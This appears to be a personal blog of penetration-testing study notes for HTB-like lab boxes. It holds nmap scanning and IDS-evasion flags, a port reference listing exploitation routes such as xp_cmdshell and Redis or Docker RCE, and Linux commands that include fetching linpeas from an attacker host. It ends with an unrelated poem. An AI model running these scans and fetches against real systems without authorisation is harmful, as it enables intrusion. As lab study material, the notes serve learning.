Cadevue Rex

General Framework

Sat, 10 Oct 2026 00:00:00 GMT

Overview

Disclaimer: This workflow took inspiration from many sources, mainly the CPTS course. This is my personal workflow, and intentionally exclude the formal process like pre-engagment & post-engagement in real pentesting. This was designed specifically for HTB-like boxes.

General steps to conquering boxes:

Read the task carefully.
Enumerate using nmap. Read the Enumeration with Nmap page.
Identify running services.
Enumerate the services further.
Exploit vulnerable services.
Get the inital foothold.
Establish persistence.
Post-exploitation. These are usually privilege escalation (privsec) or lateral movement.
Get the flags.

While doing the steps, always draft a writeup (dirty is fine).

What to do with Services?

Once nmap tells you what is open, work each port. Every service has its own enumeration page; the table below is just the map from a port to where to start.

Port	Service	First thing to try
21	FTP	Anonymous login, then list and pull files.
22	SSH	Note the version, keep it for later once you have creds.
25	SMTP	Enumerate users with `VRFY` / `RCPT`.
53	DNS	Zone transfer, hunt for extra hostnames.
80 / 443	HTTP / HTTPS	The biggest surface. Directory brute, vhosts, read the app.
88	Kerberos	Active Directory is present.
111	rpcbind	Lists RPC services, feed into `showmount` for NFS.
139 / 445	SMB	List shares, check for null sessions, pull files.
161 (UDP)	SNMP	`snmpwalk` with `public`, it leaks a lot.
389 / 636	LDAP	AD objects, try an anonymous bind.
1433 / 3306 / 5432	MSSQL / MySQL / PostgreSQL	Weak creds, then read files or run commands.
3389	RDP	Keep for when you have creds.
5985 / 5986	WinRM	`evil-winrm` once you have creds.

Full list of ports and services on the Port References page.

Rule of thumb: enumerate before you exploit. Most boxes fall to something you missed, not something you lacked.

After the Initial Foothold

A shell is the middle of the box, not the end. Settle in before you escalate.

Stabilise the shell. Upgrade a raw reverse shell to a proper TTY so arrow keys, tab and Ctrl-C work.
Know where you are. whoami, id, hostname, and which network the box sits on.
Grab the user flag if it is readable now.
Enumerate for privilege escalation. Who am I, what can I run, what is scheduled, what is misconfigured.
Escalate. Get to root or SYSTEM.
Grab the root flag.

See the Linux and Windows privilege-escalation pages for the actual checks.

Active Directory Specifics

A domain-joined box is a different game. You are not after one host, you are after the domain.

Treat every credential as a key to the whole domain, not just the box it came from.
Enumerate the domain with the creds you have: users, groups, shares, and the trust between them.
Look for the common paths: Kerberoasting, AS-REP roasting, and weak ACLs.
Map the domain with BloodHound early. It shows the shortest path to Domain Admin.

AD gets its own series later. This page only says: notice when you are in one, and change your approach.

Enumeration with Nmap

Fri, 09 Oct 2026 00:00:00 GMT

Set victim target (ease for repeating commands)

export TARGET=.

Always scan all 65535 ports before concluding a port is closed.

Workflow

Quick sweep: find open ports fast, start working immediately.

sudo nmap -sS --top-ports 1000 -T4 -oA scans/quick $TARGET

Full TCP: confirm you missed nothing (all 65535 ports).

sudo nmap -p- --min-rate 5000 -T4 -oA scans/allports $TARGET

Targeted deep scan: -sC -sV only on the ports found open.

sudo nmap -p 22,80,445 -sC -sV -oA scans/deep $TARGET

UDP: top ports, runs in the background while you work TCP.

sudo nmap -sU --top-ports 100 -T4 -oA scans/udp $TARGET

Reuse step-2 output to build the port list: ports=$(grep open scans/allports.gnmap | grep -oP '\d+/open' | cut -d/ -f1 | paste -sd,)

Host discovery

Ping sweep

sudo nmap -sn 192.168.1.0/24

If a host “looks down” but you know it’s there, always add -Pn.

Skip ICMP ping

sudo nmap -Pn $TARGET

TCP SYN ping to specific ports

sudo nmap -PS22,80,443 $TARGET

Scan types

Flag	Scan	Notes
`-sS`	TCP SYN (stealth)	Default when root. Fast, half-open.
`-sT`	TCP connect	Non-root fallback. Full handshake, noisier.
`-sU`	UDP	Slow. Catches SNMP/DNS/TFTP/SMB.
`-sV`	Version detection	Probes banners to ID service versions.
`-sC`	Default scripts	`--script=default`. Safe recon NSE.
`-A`	Aggressive	`-sC -sV -O --traceroute` combined.
`-O`	OS detection	Needs root. Guesses from TCP/IP stack.

Port states

Nmap reports one of six states per port.

State	When you see it	Likely cause	What you deduce
open	Probe got a positive reply (SYN scan `SYN/ACK`, UDP a service response)	An application is actively listening and accepting connections	Service is live. enumerate it. Your main attack surface.
closed	Probe reached the port and got a `RST` (TCP) or ICMP port-unreachable (UDP)	Port is reachable but nothing is listening on it	Host is up and not firewalling this port. No service now, but confirms reachability. Could open later.
filtered	No reply at all, or an ICMP admin-prohibited/unreachable error	A firewall / IPS / router is dropping the probe before it reaches the port	Something is blocking you. Can’t tell if a service exists. Try `-Pn`, different source port, or another scan type.
open\|filtered	No response, so Nmap can’t decide	Either an open service that simply doesn’t reply, or a firewall silently dropped the probe	Treat as maybe open, worth probing with `-sV` / manual connection. Very common in UDP and stealth scans (`-sF/-sN/-sX`).
closed\|filtered	Only with Idle scan (`-sI`)	Nmap can’t tell whether closed or filtered	Rare on HTB-like boxes. Ignore unless doing idle scans.
unfiltered	Only with ACK scan (`-sA`), port got a `RST`	Port is reachable (no stateful firewall blocking) but open/closed is unknown	Firewall-mapping info only. Follow up with a SYN/connect scan to learn open vs closed.

Key intuition, why “no reply” is ambiguous:

TCP SYN scan: SYN/ACK → open, RST → closed, silence → filtered.
UDP: a service reply → open, ICMP unreachable → closed, silence → open|filtered (most UDP services don’t answer empty probes).

filtered and open|filtered waste real time. If a known-useful port shows filtered, add -Pn, try -sT, or --source-port 53 before assuming it’s dead.

Timing & performance

Flag	Effect
`-T4`	Aggressive timing. Good default for labs.
`--min-rate 5000`	Push packets/sec. Big speedup on `-p-` scans.
`--max-retries 1`	Don’t waste time retrying filtered ports.
`--open`	Only show open ports in output.
`-v`	Verbose. Reports open ports as they’re found.

-T5 is faster but drops accuracy on flaky targets. Stick to -T4.

NSE scripts

Run the vuln category:

sudo nmap --script vuln $TARGET

Run safe and discovery categories:

sudo nmap --script safe,discovery $TARGET

SMB enumeration:

sudo nmap -p445 --script smb-enum-shares,smb-os-discovery $TARGET

HTTP enumeration:

sudo nmap -p80 --script http-enum,http-title $TARGET

FTP anonymous login test:

sudo nmap -p21 --script ftp-anon $TARGET

Find scripts by keyword:

sudo ls /usr/share/nmap/scripts | grep smb

Read a script’s help:

sudo nmap --script-help http-enum

--script vuln is handy but noisy and not exhaustive. Never a substitute for manual service enumeration.

Output

Flag	Format
`-oN file.nmap`	Normal (human-readable).
`-oG file.gnmap`	Greppable (extract ports easily).
`-oX file.xml`	XML (feed into other tools).
`-oA scans/base`	All three at once. Always use this.

Save every scan under scans/. You need this evidence for the report, and re-scanning wastes time.

UDP notes

UDP is slow because closed ports rarely reply. Don’t scan all 65535 UDP. Top 100-200 is enough. High-value UDP finds:

Port	Service	Follow-up
53	DNS	zone transfer, subdomain enum
69	TFTP	anon file read/write
161	SNMP	`snmpwalk` community strings
500	IKE/VPN	ike-scan

sudo nmap -sU -sV --top-ports 200 --open -T4 -oA scans/udp $TARGET

Firewall / filtering basics

Target drops ICMP, treat as up

-Pn

Connect scan when SYN is filtered

-sT

Spoof source port (some filters trust DNS)

--source-port 53

Fragment packets (basic IDS evasion)

-f

Pad packets

--data-length 25

On HTB-like boxes you rarely fight real firewalls. Start simple, add -Pn if discovery fails, and don’t burn time on evasion unless a port is clearly filtered.

Port References

Thu, 08 Oct 2026 00:00:00 GMT

Service-to-port map for enumeration. Ports are TCP unless the row says UDP. Services move, so always check with -sV. A port is only what the banner proves it is.

Always check first

The high-value set worth prioritising on any target.

Port	Service	Why it matters
21	FTP	Anonymous login, file read/write.
22	SSH	Version-specific bugs, key or password auth, tunneling.
25	SMTP	User enumeration (`VRFY`, `EXPN`, `RCPT`).
53	DNS	Zone transfer, subdomain and host names.
80 / 443	HTTP / HTTPS	Largest attack surface. Directory brute, vhosts, app bugs.
88	Kerberos	AD present. AS-REP roast, user enumeration.
111	rpcbind	Maps to NFS and other RPC services.
135 / 139 / 445	MSRPC / NetBIOS / SMB	Shares, users, RCE.
161 (UDP)	SNMP	Community strings leak users, processes, routes.
389 / 636	LDAP / LDAPS	AD objects, users, groups.
1433 / 3306 / 5432	MSSQL / MySQL / PostgreSQL	Weak creds, command execution.
3389	RDP	Credential access to Windows.
5985 / 5986	WinRM	Remote shell with valid creds (`evil-winrm`).

Port	Proto	Service	Notes
20	TCP	FTP data	Active-mode data channel.
21	TCP	FTP control	Anonymous login, banner leaks version.
69	UDP	TFTP	No auth, no listing. Guess filenames.
111	TCP/UDP	rpcbind / portmapper	Lists RPC services. Feed into `showmount`.
135	TCP	MSRPC	Endpoint mapper. `rpcdump`, DCOM.
137	UDP	NetBIOS name	`nmblookup`, name resolution.
138	UDP	NetBIOS datagram	Browser service.
139	TCP	NetBIOS session	SMB over NetBIOS.
445	TCP	SMB / CIFS	Shares, users, EternalBlue.
512	TCP	rexec	Remote exec, cleartext creds.
513	TCP	rlogin	Trust-based login, `.rhosts`.
514	TCP	rsh	Remote shell, no auth if trusted.
548	TCP	AFP	Apple filing. `nmap afp-*` scripts.
873	TCP	rsync	Often anonymous module listing and file pull.
2049	TCP/UDP	NFS	`showmount -e`, mount exports, no_root_squash.
2121	TCP	FTP (alt)	Secondary FTP instance.

Remote access and shells

Port	Proto	Service	Notes
22	TCP	SSH	Auth methods, version bugs, port forwarding.
23	TCP	Telnet	Cleartext login, banner.
512-514	TCP	r-services	See file-sharing table. Trust abuse.
3389	TCP	RDP	`xfreerdp`, NLA check, BlueKeep on old hosts.
5800	TCP	VNC over HTTP	Java VNC applet.
5900	TCP	VNC	Weak or no password, `vncviewer`.
5985	TCP	WinRM HTTP	`evil-winrm`, `crackmapexec winrm`.
5986	TCP	WinRM HTTPS	TLS variant of WinRM.
6000-6009	TCP	X11	Keystroke capture, screenshots if open.
47001	TCP	WinRM (WSMan listener)	Windows remote management.

Web and application servers

Port	Proto	Service	Notes
80	TCP	HTTP	Primary web surface.
443	TCP	HTTPS	TLS web. Check certificate for hostnames.
280	TCP	http-mgmt	Management HTTP.
591	TCP	FileMaker HTTP	Alternate web.
593	TCP	HTTP-RPC-EPMAP	RPC over HTTP.
832	TCP	NetWare HTTP	Rare web admin.
981	TCP	HTTPS (alt)	Firewall admin panels.
1311	TCP	Dell OpenManage	Web admin.
2082 / 2083	TCP	cPanel	HTTP / HTTPS.
2086 / 2087	TCP	WHM	HTTP / HTTPS.
2095 / 2096	TCP	Webmail	HTTP / HTTPS.
3000	TCP	Node / Grafana / dev	App dev servers.
3128	TCP	Squid proxy	Proxy, may reach internal hosts.
4443	TCP	HTTPS (alt)	Admin consoles.
4848	TCP	GlassFish admin	Default creds, WAR deploy.
5000	TCP	Flask / UPnP / Docker registry	Context-dependent.
7001	TCP	WebLogic	Deserialization RCE.
7070	TCP	RealServer / app	HTTP variants.
8000	TCP	HTTP (alt)	Dev and admin apps.
8008	TCP	HTTP (alt)	Embedded web.
8009	TCP	AJP13	Tomcat AJP. Ghostcat file read.
8080	TCP	HTTP proxy / Tomcat	Manager panel, WAR upload.
8081	TCP	HTTP (alt)	JForum, Nexus, misc.
8180	TCP	Tomcat (alt)	Manager panel.
8443	TCP	HTTPS (alt)	Tomcat, VMware, admin.
8500	TCP	Consul / ColdFusion	Config store or app server.
8888	TCP	HTTP (alt)	Jupyter, admin panels.
9000	TCP	PHP-FPM / SonarQube	FastCGI or app.
9090	TCP	Openfire / Prometheus	Admin console.
9200 / 9300	TCP	Elasticsearch	REST API and transport. Data exposure.
10000	TCP	Webmin	RCE on old versions.

Mail

Port	Proto	Service	Notes
25	TCP	SMTP	User enumeration, open relay.
110	TCP	POP3	Cleartext mail retrieval.
143	TCP	IMAP	Cleartext mailbox access.
465	TCP	SMTPS	SMTP over TLS.
587	TCP	SMTP submission	Authenticated mail submission.
993	TCP	IMAPS	IMAP over TLS.
995	TCP	POP3S	POP3 over TLS.

Name, directory, and auth services

Port	Proto	Service	Notes
53	TCP/UDP	DNS	Zone transfer (`axfr`), reverse lookups.
88	TCP	Kerberos	AS-REP roast, TGT requests.
389	TCP/UDP	LDAP	Anonymous bind, AD objects.
464	TCP	Kerberos kpasswd	Password change service.
636	TCP	LDAPS	LDAP over TLS.
749	TCP	Kerberos admin	`kadmin`.
3268	TCP	LDAP Global Catalog	Forest-wide AD queries.
3269	TCP	LDAP GC over TLS	TLS global catalog.
9389	TCP	AD Web Services	`ADWS`, PowerShell AD module.

Databases

Port	Proto	Service	Notes
1433	TCP	MSSQL	`xp_cmdshell`, `mssqlclient.py`.
1434	UDP	MSSQL Browser	Instance discovery.
1521	TCP	Oracle TNS	SID brute, `odat`.
1830	TCP	Oracle (alt)	Secondary listener.
3306	TCP	MySQL / MariaDB	Weak creds, `INTO OUTFILE`.
5432	TCP	PostgreSQL	`COPY ... PROGRAM` for RCE.
5984	TCP	CouchDB	REST API, unauth data.
6379	TCP	Redis	No auth by default, key write to RCE.
7474 / 7687	TCP	Neo4j	HTTP browser and Bolt.
9042	TCP	Cassandra	CQL native transport.
11211	TCP/UDP	Memcached	Unauth data dump, amplification.
27017 / 27018	TCP	MongoDB	Unauth access on old configs.

SNMP and network management

Port	Proto	Service	Notes
161	UDP	SNMP	`snmpwalk` with `public`. Leaks users, processes, ARP.
162	UDP	SNMP trap	Trap receiver.
199	TCP	SMUX	SNMP multiplexer.
623	UDP	IPMI / BMC	Hash dump (`ipmi-dumphashes`).
2000	TCP	Cisco SCCP	VoIP signalling.
4786	TCP	Cisco Smart Install	Config theft, RCE.
5060 / 5061	TCP/UDP	SIP	VoIP, user enumeration.

Messaging, orchestration, and misc

Port	Proto	Service	Notes
79	TCP	Finger	User enumeration on old Unix.
113	TCP	ident	Returns service owner.
123	UDP	NTP	`ntpq`, monlist amplification.
179	TCP	BGP	Routing, rare on HTB-like boxes.
500	UDP	IKE / IPsec	`ike-scan`, VPN fingerprint.
502	TCP	Modbus	ICS/SCADA.
515	TCP	LPD	Printing service.
631	TCP	IPP / CUPS	Printer admin.
1099	TCP	Java RMI	Deserialization RCE.
1723	TCP	PPTP	VPN, hash capture.
1883	TCP	MQTT	IoT messaging, often unauth.
2181	TCP	ZooKeeper	Config leak, `envi` command.
2375 / 2376	TCP	Docker API	Unauth 2375 = host RCE.
3632	TCP	distcc	Command execution (CVE-2004-2687).
4369	TCP	EPMD (Erlang)	Cookie auth, RabbitMQ pairing.
5222	TCP	XMPP	Chat, user enumeration.
5353	UDP	mDNS	Local service discovery.
5355	UDP	LLMNR	Poison for hash capture (`responder`).
5671 / 5672	TCP	AMQP / RabbitMQ	Message broker, default creds.
6443	TCP	Kubernetes API	Cluster control, token abuse.
8140	TCP	Puppet	Config management.
8161	TCP	ActiveMQ	Web console, CVE-2016-3088.
9092	TCP	Kafka	Broker, topic access.
9100	TCP	JetDirect	Raw printing, PJL abuse.
15672	TCP	RabbitMQ mgmt	Web console, `guest:guest`.
44818	TCP/UDP	EtherNet/IP	ICS/SCADA.

Common backdoor and shell ports

Ports that often mean an attacker already touched the box, or a listener you set.

Port	Meaning
1080	SOCKS proxy, sometimes a pivot.
1337	Common custom backdoor.
4444	Metasploit default handler.
6666 / 6667	IRC, historic botnet C2.
12345	NetBus.
31337	Back Orifice, “elite” backdoor.

Fast lookups

Nmap prints the service guess from /etc/services. Read the real name of a numeric port:

grep -w 6379 /etc/services

Search a service by name to find its default port:

grep -iw redis /etc/services

Do not trust the default map. Run -sV and read the banner. A service on a non-standard port is common on HTB-like boxes and is exactly what a quick scan misses.

Linux Commands Cheatsheet

Wed, 07 Oct 2026 00:00:00 GMT

Listing Directories

List everything, long form, with hidden files and human sizes:

ls -lah

Walk a tree without cd-ing around:

ls -R /etc

Find files by name anywhere on the box:

find / -name "*.conf" 2>/dev/null

2>/dev/null drops the permission-denied noise so the hits are readable.

Reading Content

Print a whole file:

cat /etc/passwd

Page through a long file (q to quit, / to search):

less /var/log/auth.log

First or last lines of a file:

head -n 20 file
tail -n 20 file

Follow a file as it grows:

tail -f /var/log/syslog

Searching

Search inside files, recursively, with line numbers:

grep -rin "password" /var/www 2>/dev/null

Pull just the matching part out of a stream:

grep -oP '\d+\.\d+\.\d+\.\d+' file

Users and Permissions

Who am I and what groups am I in:

id

What can I run as another user:

sudo -l

Find files with the SUID bit set, a common privesc lead:

find / -perm -4000 -type f 2>/dev/null

Processes and Network

Running processes:

ps aux

Listening ports and the process behind each:

ss -tulpn

File Transfer

Serve the current folder over HTTP to pull tools onto the box:

python3 -m http.server 8000

Download a file from your attack host:

wget http://10.10.10.10:8000/linpeas.sh
curl -O http://10.10.10.10:8000/linpeas.sh

If wget and curl are both missing, python3, nc, or /dev/tcp usually still work.

Sustainable

Thu, 13 Nov 2025 00:00:00 GMT

How excited we were upon the clouds
Said we’d jet through them and build a castle
Not today, but it’s okay
As long as we’re sustainable

Do you remember about the stars
Said we’d gleam so bright and steal their shine
Maybe tomorrow, but it’s okay
As long as we’re sustainable

We mused about crossing the ocean
Said we’d conquer the tides and catch every fish
Not easy, but it’s okay
As long as we’re sustainable

…
This morning I saw clouds crumble in raging gray
The stars’ shine couldn’t reach my lingering fog
The dark ocean climbed and swallowed my face

What a waste
We’re no longer sustainable